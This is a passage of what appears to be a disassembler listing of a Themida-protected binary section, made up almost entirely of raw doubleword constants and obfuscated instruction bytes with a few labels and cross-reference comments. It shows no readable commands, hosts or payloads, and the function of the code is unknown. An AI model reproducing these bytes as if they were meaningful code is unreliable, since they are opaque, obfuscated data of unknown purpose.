		dd 49C84h, 0B9950100h, 83061031h, 1022C1BDh, 860F0306h
		dd 453h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6308BCA6h, 8B5A1F54h, 101909BDh
		dd 0D98C6606h, 4E180F8h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 5AC35141h, 0A37C2E0h,	34840FC9h, 0E8000001h
		dd 0Bh,	0C9482112h, 954DDFB7h, 899CEFB6h, 101DC1B5h, 858B5F06h
		dd 6102185h, 12E9h, 0B2130F00h,	6E1C211Eh, 1D1370E4h, 37BBA32Eh
		dd 33A57660h, 1011FD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0CB6A0AB4h, 0E950B6B3h
		dd 5, 71325AE5h, 240489EFh, 0D618589h, 6A0610h,	1BB99D33h
		dd 4E80610h, 0FF000000h, 50001F03h, 448BF88Bh, 2BBF0424h
		dd 8B5A89ABh, 9E900h, 0F19E0000h, 5C4EB8CDh, 89695375h
		dd 0F042444h, 0B89h, 60525000h,	66310F61h, 585ADA8Bh, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 74739E56h, 0A2B22F52h, 193DBD33h, 95FF0610h,	61005D5h
		dd 8589D8B3h, 613C26Dh,	0D5958952h, 5F061007h, 276E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0AD435BD2h, 0C7816656h, 9D8BF80Dh, 61009E5h
		dd 8E8h, 20FD2400h, 899A9A15h, 0D680BB79h, 8B5B2D0Ch, 13C26585h
		dd 0CB816606h, 0C774FFh, 18h, 8BF98B66h, 13C269B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 895C6C91h, 100B1585h, 0EE906h, 0B3590000h, 6E8B7196h
		dd 76E494D9h, 26B26B71h, 0E25858Bh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B33CA0C3h
		dd 0AEDB8166h, 6A068933h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 54A0C350h, 666F941Ah
		dd 9C48D381h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B59AFEC3h, 95FCD08Ah
		dd 89FC2CAFh, 0E3800446h, 52505059h, 310FF88Bh,	89BB5250h
		dd 0F1236CFh, 8E0F31h, 5A000000h, 89585A58h, 6A2434h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 656761C3h, 99F06836h, 0ABFD6DDh, 0F624D80h, 0C8Bh, 6860F00h
		dd 8B000000h, 10227DBDh, 65B5FF06h, 6A0613C2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D69EC355h, 93476ADEh, 0B589B0D8h, 6101AB1h,	9C783068h
		dd 7E9601Ch, 65000000h,	216B7E03h, 8161A567h, 7BCF2434h
		dd 6A1C83h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 293C9AC3h, 1011AD85h, 6D858D06h, 6A0613C2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0E840C351h, 0B7CB113Dh, 600879C1h, 1F3DBD8Bh
		dd 0BD890610h, 6101219h, 0BF509061h, 23518F9Dh,	66606090h
		dd 90E8D981h, 14B19D8Bh, 0F610610h, 386h, 0C8D08000h, 0D595FF61h
		dd 6A061005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0A080C350h, 810E9CC0h,	0E8F8BF0Fh
		dd 14h,	5B4148A9h, 0DC8896A8h, 2771FAD9h, 329C64ECh, 69D98DD3h
		dd 135D9D8Bh, 615B0610h, 8E8h, 0FEB8DD00h, 0F74B9000h
		dd 959D8BA6h, 5B061005h, 22C185C7h, 30610h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0AE33FFC3h, 0E556C488h, 0F98D29A0h, 0F9061005h, 0C26DBD83h
		dd 0F000613h, 3A84h, 5E900h, 9330000h, 0E9B02BB6h, 46h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 56C35040h
		dd 0FDAE448h, 68Ch, 99D0300h, 5006102Dh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 60447AC3h
		dd 8E8F78Bh, 46000000h,	0FC70800h, 9A2DD8Dh, 1023E195h
		dd 83615F06h, 1022C1BDh, 850F0306h, 39Ch, 0C26DBD83h, 0F000613h
		dd 38F84h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BB6666FCh, 0BD8B7733h, 61021F1h
		dd 0D3D38166h, 6DB5FF6Ch, 10613C2h, 10139D9Dh, 0DF816606h
		dd 95FFE2D8h, 6102FA5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 3C35141h, 89DB03B0h, 10024D8Dh, 8BF98B06h
		dd 13C261B5h, 0A7B75206h, 106C75Fh, 6A000100h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 9156C350h, 599D8B58h, 8B06100Fh, 102D35BDh, 66579606h
		dd 5B5771BBh, 52506050h, 310F5250h, 310F585Ah, 810Fh, 585A0000h
		dd 28C0Fh, 0EBB50000h, 6A9661h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0E5F59FC3h, 8529334Dh
		dd 6102DE1h, 9787BB66h,	0C26DB5FFh, 9D0B0613h, 6101CEDh
		dd 122595FFh, 95090610h, 610137Dh, 0C261B58Bh, 8D890613h
		dd 6102809h, 21D1858Bh,	0BD8B0610h, 6102FC1h, 0C48689h
		dd 890F0000h, 6, 8898509h, 958B0610h, 61009F5h,	1CA58529h
		dd 0C2830610h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 201DC5C9h, 3CDB8175h
		dd 89198376h, 858D2050h, 613D7C2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 2BC35646h, 0F55973F9h, 0B99D8B7Fh
		dd 89061011h, 0B886h, 6A006A00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 2D85C355h, 0F9D89C6h
		dd 68Fh, 0C1BD2900h, 0FF06102Dh, 13C26DB5h, 89BD8B06h
		dd 0FF061006h, 10049595h, 19BD2B06h, 5006102Dh,	89FA8B66h
		dd 860F2434h, 19h, 12E960h, 0FDA60000h,	0A080C5BAh, 810E9CC0h
		dd 95A09BCAh, 8608892Bh, 6DB5FF61h, 6A0613C2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0EB75C352h, 8B425FE4h, 1011699Dh, 0B1BD8B06h, 0FF061009h
		dd 10162D95h, 51BD8306h, 61013h, 2B840Fh, 0C7800000h, 0F6BF5072h
		dd 895A6E84h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0D75D63C3h, 6DB5FF04h, 600613C2h
		dd 965BD89h
		dd 0F0BF0610h, 617FCDCAh, 0C1995FFh, 95890610h,	61030CDh
		dd 0C26DB5FFh, 6A0613h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0E4F2B9C3h, 6D5272C4h, 0E8F537B6h
		dd 11h,	0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 0FE9D2h
		dd 2C000000h, 8FCC74F5h, 867521E9h, 4C325779h, 0F525B43h
		dd 525BDBBFh, 115DB589h, 0FF5B0610h, 10162195h,	0B3BB6606h
		dd 89BD8355h, 206100Fh,	3D840Fh, 0BD890000h, 6102109h
		dd 10C5858Bh, 0BB660610h, 0C649DDh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 934A072Ah
		dd 0A25CCD6Dh, 68BBBC68h, 0C77A1016h, 102A2585h, 6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0E6CABA60h, 88467B3Bh, 2ACD9D8Bh, 820F0610h,	4, 0B452BB66h
		dd 0FFF3B9E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 5B4097E8h, 6623FFD9h
		dd 0C18BD88Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	28C35545h, 858D7839h, 61013B9h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 92C35141h, 99ACE36Ah
		dd 42521991h, 50DEB70Fh, 0E9240489h, 6,	0BA78CACCh, 0BF665FB2h
		dd 6ABFEBh, 20658589h, 6A0610h,	0FD5BBB66h, 858DDE8Bh
		dd 6148FC0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	35C35545h, 0E8D59C3Dh, 0B52B6078h, 61011BDh, 61FB8B66h
		dd 2418589h, 0C0830610h, 0D7816605h, 0E9502FFAh, 6, 27F86B07h
		dd 489863Dh, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 67B5A9B2h, 8B6E4679h, 1001119Dh
		dd 0F006A06h, 6AD9B7h, 0FFD88B66h, 101D1995h, 15850106h
		dd 8D061028h, 13AFD88Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0A48A4109h, 0CC6CE185h
		dd 0FD1FF87h, 0BD83DAB7h, 6102209h, 0A4850F01h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6714C351h, 419D8B3Eh, 6606102Ah, 6AEF57BFh
		dd 0D9B70F02h, 2890F90h, 8A000000h, 8B6650FEh, 6A90DEh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0D6AC4AC3h, 480425ECh, 0FE889D2h, 4B000000h,	0A8904721h
		dd 4201F8F5h, 3F200780h, 0FA8AD13Ah, 9595FF5Bh,	6A061004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C00BC353h, 0A7090291h, 298D8965h
		db 12h,	10h, 6
byte_59442B	db 0E9h			; DATA XREF: Themida_:0054B6ACo
		dd 0E1Ah, 0E8h,	0ED815D00h, 6148FCAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D2C35747h,	30ADBD8Bh, 52BF0610h
		dd 8D2EE614h, 1399B685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0E9707A37h, 9E01FCFCh
		dd 10E950h, 6B3E0000h, 0DF894861h, 0F6C2992Fh, 0CCDD5F65h
		dd 4892286h, 4880F24h, 66000000h, 649298BBh, 35FFh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 65DE6BC3h, 0A50910F7h, 0B9666041h, 61F86611h, 258964F5h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E7C35141h
		dd 0AF7510D3h, 0FFFAB70Fh, 10141985h, 0D6F2BF06h, 0FF6A421Fh
		dd 6E9h, 8EA21200h, 0FFDDA5DDh,	10232DB5h, 5800F06h, 0BB000000h
		dd 5EFF1759h, 1E1BD2Bh,	95FF0610h, 6100615h, 115E9h, 0E900B000h
		dd 0Dh,	0C2226798h, 67911F71h, 8C3A7055h, 2970E6F2h, 10169985h
		dd 8971E406h, 1029798Dh, 0F613C06h, 0E983h, 20CB8000h
		dd 89C8B60Fh, 101AD19Dh, 6BA06h, 0BD8B0000h, 6100735h
		dd 0C18B97B3h, 0C141CB80h, 890F04E8h, 3, 66DBB70Fh, 0C82BE2F7h
		dd 72EF8166h, 0FD18B40h, 68Dh, 0DD8D8900h, 0E906102Eh
		dd 6, 5BD31h, 858B0610h, 6100989h, 0FE8h, 53C9200h, 1873E2D8h
		dd 0F798EC6h, 36D1450Fh, 18B59529h, 895F0610h, 101CDDBDh
		dd 7C08306h, 0AAC0BF66h, 6600C083h, 7818F781h, 830FD03Bh
		dd 1Dh,	0FD952960h, 0E9061022h,	5, 0BE851BD3h, 47E9616Ch
		dd 89000000h, 102061BDh, 758D8B06h, 0E9061028h,	8, 1864DB6h
		dd 2105F7C0h, 0F01E183h, 2584h,	758D0900h, 83061031h, 102875A5h
		dd 0BD8BFE06h, 6100949h, 9899589h, 8D0F0610h, 1, 0E9F9h
		dd 0B58D0000h, 61413DDh, 0B55BD8Bh, 6A0610h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 78C35141h, 7E4054B6h
		dd 0B5389C0Ah, 0FFD88B66h, 1031C995h, 45958906h, 0B9061008h
		dd 798h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	21C35747h, 7019CF8Dh, 83F5C23Eh, 6AFCE1h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0CD72A1C3h, 3250C9BBh, 0BE8B57Fh, 52000000h,	5D5C7659h
		dd 0F4FE446Ah, 0FC5F3F8Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 62C35545h, 29BDC5A9h,	102FE19Dh, 6AC02B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 76E5C357h, 1128FE10h, 55B52988h, 2B061006h
		dd 0CC4ABFD2h, 33AD3D8Ch, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 816D2FC3h, 7FE25FC3h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0DDF8B38h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 85C35343h, 18860Fh
		dd 13E90000h, 70000000h, 26100E9Dh, 0A720DFB4h,	65871D82h
		dd 0DCAAFD16h, 0BB66C863h, 958B9317h, 61009F5h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A0C35646h, 2B5C64ACh
		dd 0B589B996h, 6101619h, 0BBE78151h, 5F29D899h,	23198D8Bh
		dd 0C7810610h, 577CECC6h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 95895818h, 61004FDh, 9E8h, 0AEC4A000h, 0D869961Bh
		dd 895F2536h, 1010C19Dh, 29BD8306h, 6101Eh, 84840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 7B2818C3h, 2198B23Dh, 0B3DF3856h, 0B822h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0DBCAC1C3h, 167B6B88h, 8D8DFE8Bh, 6104E85h, 0B973BB66h
		dd 29A19D29h, 0E1FF0610h, 10E8h, 0E807F800h, 0AD642B7Ah
		dd 45685121h, 95A41A84h, 0CD9D3387h, 5B06100Eh,	0D9589h
		dd 0BD830610h, 61022C1h, 28840F00h, 29000004h, 102D5185h
		dd 0C1BD8306h, 1061022h, 430840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 30E85DC3h
		dd 0E9FBBF0Fh, 12h, 0BFD479C5h,	7CA0AC1Ch, 9B372C1Ah, 96711B1Fh
		dd 0BD833A77h, 61022C1h, 0B5860F03h, 0E9000003h, 8, 948BA73Fh
		dd 0C029F67Eh, 57006A60h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 78C801BEh, 66A4B3A8h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9D8B06C3h, 6102771h, 1D31BD0Bh, 0E1800610h
		dd 9E904h, 0A6E40000h, 0A800A606h, 0AC62D85h, 0CA840FC9h
		dd 0F000000h, 858BF9B7h, 6102185h, 0EB5BD0Bh, 85330610h
		dd 61011FDh, 0C319D89h,	8B500610h, 240489D9h, 0A000BB66h
		dd 6ADAB70Fh, 7D8D3100h, 68061023h, 56AC3FECh, 4880Fh
		dd 0BB660000h, 3481BD9Fh, 0B33C1324h, 0D595FF56h, 6A061005h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 225EC357h, 6AC66C53h, 0F6446DFh, 687h, 0DB50900h
		dd 8906100Fh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 94290271h, 0B4330D74h
		dd 0E9F8B98Ah, 211h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0BFC35141h, 65858B27h, 6A0613C2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0C877C356h, 71C17F1Eh, 14E95Ch, 22940000h, 40E66161h
		dd 3C2B12D0h, 0B8462BECh, 571AA9E1h, 0C7B4DDh, 18h, 0C269B58Bh
		dd 8BF80613h, 100E2585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 2BD91F29h, 0FE9ADFDh
		dd 25000000h, 0A415E232h, 7C867Eh, 15AC5FAEh, 689A6CEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ACC35747h
		dd 858BFB46h, 6102185h,	21DD8529h, 46890610h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 6051D879h, 0EB5B533h, 0B58B0610h, 6102ED9h, 89505F61h
		dd 0BD8B2434h, 6101C0Dh, 0C265B5FFh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 522412C3h
		dd 60528ABFh, 7319D89h,	8A0F0610h, 6, 2D699D8Bh, 0BB610610h
		dd 34896301h, 4E8h, 1F03FF00h, 5059B700h, 8830Fh, 850F0000h
		dd 2, 448B5F57h, 1BB0424h, 8B54A325h, 89D88B00h, 58042444h
		dd 6D858DF9h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E13AC357h,	0FB20231Bh
		dd 29052FBBh, 348DB589h, 0F500610h, 505FDFBFh, 0DE9h, 0AC8D2C00h
		dd 19EAC323h, 0B3062DC5h, 48965D5h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 969CE869h
		dd 89284FB4h, 100B9D9Dh, 0D595FF06h, 6A061005h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0D78EC351h, 6A613Fh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 923EC0C3h, 0AA913888h, 2D819D23h
		dd 8B660610h, 519D31DFh, 0C7061000h, 1022C185h,	306h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0B45F0641h, 9D8B1406h, 6100E8Dh, 0C26DBD83h,	0F000613h
		dd 1384h
		dd 3830F00h, 66000000h,	20E9DA8Bh, 66000000h, 0B780F781h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0AAB0C351h, 0B4ED21F1h, 0F18D891Ch, 66061018h
		dd 6A7F73BBh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F513C355h, 898D0360h,	66061015h
		dd 8CD7D081h, 0C1BD8361h, 3061022h, 42F850Fh, 81660000h
		dd 83D81AEFh, 13C26DBDh, 840F0006h, 41Dh, 0B5FFD98Bh, 613C26Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B2C35747h
		dd 2FA595FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0B59AFEC3h, 0BD8BD08Ah, 6102829h
		dd 0C261B58Bh, 6A0613h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BE86EC3h, 0AD000000h, 79B583CBh
		dd 0B4E20B64h, 8951413Bh, 101D11B5h, 0C75F5F06h, 1000106h
		dd 4ABB6600h, 45BD89FEh, 96061006h, 2820Fh, 5B520000h
		dd 965B5750h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0E0C35040h, 0AE8h, 0D4F0ED00h, 0BBD0DFA4h, 0E99F04E2h
		dd 14h,	8E64B6C8h, 5F335E2Fh, 0E1E94FDBh, 0F43F9A28h, 4E20F059h
		dd 6DB5FF5Bh, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 7C5C357h, 78920EAFh
		dd 0BD2B05B2h, 6101339h, 0D6B70F60h, 944318B9h,	95FF615Bh
		dd 6101225h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0B5C35040h, 0BD8BFAAEh,	6101929h, 0C261B58Bh, 8D010613h
		dd 6103061h, 0BE9h, 0D1122600h,	0A1DCF065h, 1121EDBCh
		dd 21D1858Bh, 95290610h, 61006F5h, 0C48689h
		db 2 dup(0)
word_594F42	dw 0F560h		; DATA XREF: ___:off_438C78o
		dd 0F5958B61h, 6A061009h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 7D20C350h, 377BAA32h
		dd 41B011A0h, 8B04C283h, 1011F9BDh, 12E906h, 0BB440000h
		dd 628C4AE6h, 30227D90h, 2159806h, 0C4D1E365h, 6A205089h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 272FC352h, 3DE09B0Ah, 8D98DB80h, 13D7C285h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0BCE1355Dh, 422C9ADh, 1BB59D8Bh,	64BB0610h
		dd 892837AAh, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0E2878490h, 13C58D89h
		dd 6ABB0610h, 6A34B7BCh, 0FFD98B00h, 13C26DB5h,	0C18D8906h
		dd 0FF06100Bh, 10049595h, 79BD2906h, 66061007h,	4043E381h
		dd 0D98B6650h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 5E6EC352h, 6DB5FF3Ch
		dd 800613C2h, 6E841F7h,	8B000000h, 0B2B66E9Eh, 0D88B6683h
		dd 2D95FF5Fh, 8B061016h, 51BD83F8h, 61013h, 3C840Fh, 0BF0F0000h
		dd 89BB66D8h, 0BE850F7h, 71000000h, 4626B26Bh, 464C47CDh
		dd 895BCE1Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0C6C4F8C3h, 0B5FF9BF2h, 613C26Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F6C35141h
		dd 0F58EC112h, 95FFDA8Bh, 6100C19h, 20B9BD8Bh, 0DE8B0610h
		dd 0C26DB5FFh, 6A0613h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 16CDAFC3h, 9E375955h, 0EE8h, 0C6E15F00h
		dd 10E36EB5h, 14F28965h, 51DECCF5h, 0F0F38166h,	0FF5B5BF9h
		dd 10162195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0AC6B7BCEh, 3A4EAE01h, 0DD9D8BFAh
		dd 83061009h, 100F89BDh, 840F0206h, 51h, 18B9BD8Bh, 858B0610h
		dd 61010C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	87C35040h, 0CDBCEF0h, 95893913h, 6100F09h, 0F80000C6h
		dd 0DE8h, 0C247B300h, 41841A64h, 0BA479BFFh, 0E78191C7h
		dd 1E696DFBh, 2585C75Fh, 6102Ah, 9000000h, 1009018Dh, 0F330E906h
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0E2E6E3C3h, 890F5681h, 0Ch, 6840Fh, 95890000h
		dd 61012B1h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0A41DE1C3h, 6051D2C6h, 0F74C180h
		dd 8Ah,	665F6100h, 858DDA8Bh, 61013B9h,	8E9h, 0AB09FE00h
		dd 0A71414D3h, 5E850C6h, 74000000h, 787C9E69h, 5FDE8B66h
		dd 0E9240489h, 0Eh, 0ACDBAE84h,	298CD51h, 0AD27E80Ah, 6A7CD2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F1C35040h
		dd 47D629C4h, 6A006A0Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0F637C350h,	8DF9C040h
		dd 149FA085h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 8488EEBAh, 89173E3Fh, 101FADBDh
		dd 0CBD38106h, 8365F715h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 7A2154C3h, 294E4E3Ah
		dd 10348D9Dh, 8D0F5006h, 5, 78A6B0BBh, 24048971h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 2AFB81C3h, 0A3A67B5Bh, 6AF533h, 1D1995FFh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 61D750C3h, 9D8BB4FCh, 6100B09h, 0AFD88D8Dh, 0F88B0613h
		dd 0F270F781h, 0D1FF4E32h, 31C58D31h, 9D030610h, 6101CADh
		dd 2209BD83h, 0F010610h, 5A85h,	2F6BF00h, 26A0385h, 0AE9h
		dd 0BFD9100h, 161B2E85h, 6601FE1Bh, 1B09F781h, 0FE950h
		dd 54670000h, 4E331F03h, 0F45940A5h, 4E3F5443h,	240489F9h
		dd 9595FFF8h, 6A061004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0FE8FC353h,	0E9D5F780h
		dd 0DBEh, 0E8h,	0ED815D00h, 6149FAAh, 14359D33h, 81660610h
		dd 81C720D7h, 933610D3h, 3850F20h, 0F000000h, 858DFFB7h
		dd 61399B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0ADC35545h, 30A19D8Bh, 8F0F0610h, 0Bh, 45C38160h
		dd 8002A126h, 50618FC1h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9CACC357h
		dd 8E83Ah, 58230000h, 0BDF567F1h, 0EE8C9EEh, 0CF000000h
		dd 3D95FA85h, 4BB669BCh, 79E2AEADh, 0B6BF662Bh,	645B5BB4h
		dd 35FFh, 800F0000h, 2,	8964DE8Ah, 25h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 1BB06BDFh, 9D8B2680h, 6102FD1h, 1985FFF8h, 6A061014h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0FCECC357h, 0FF6AF88Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 55C35747h, 0CDB5FFh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0B537F6C3h, 9D893325h, 61012F9h, 0FFD88B66h,	10061595h
		dd 0FFE906h, 0C9B30000h, 10E800B0h, 56000000h, 0B731C262h
		dd 8A4EBED7h, 73C8321Bh, 0F6F5B7Eh, 8B5FFEB7h, 0F970E6DAh
		dd 9DBB71E4h, 0F3C4B3Bh, 0C81h,	7E900h,	481F0000h, 0D7B183E7h
		dd 0F613CC8h, 0BC83h, 68F0F00h,	89000000h, 100B5585h, 0C8B60F06h
		dd 6BAh, 66C18B00h, 0E8C1F88Bh,	3810F04h, 66000000h, 0F766FE8Bh
		dd 198D29E2h, 2B061006h, 558509C8h, 8B061006h, 6E9D1h
		dd 0BD890000h, 6100169h, 2D49858Bh, 5E80610h, 85000000h
